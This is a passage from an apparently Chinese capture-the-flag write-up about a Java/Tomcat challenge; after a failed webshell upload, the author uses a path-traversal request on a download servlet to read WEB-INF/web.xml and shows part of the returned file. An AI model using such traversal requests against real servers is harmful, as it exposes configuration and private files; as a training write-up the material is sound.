哎,太菜了,继续更新吧
先说一下,kali尽量不要更新到python 3.10,否则好多工具都不能用了。尤其很多默认模块在3.10里面都进行了重写。。。。。。。
这题提示是java题目,上来先是一个上传窗口,尝试文件上传直接写马,发现不行。那就继续看,发现下载逻辑,尝试目录穿越。
由于扫出来是tomcat,做过java web业务的都知道最重要的一个配置文件是WEB-INF里面的web.xml文件,说他是万物之祖也不为过。尝试读取一下:
/DownloadServlet?filename=../../../../WEB-INF/web.xml
得到结果:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
<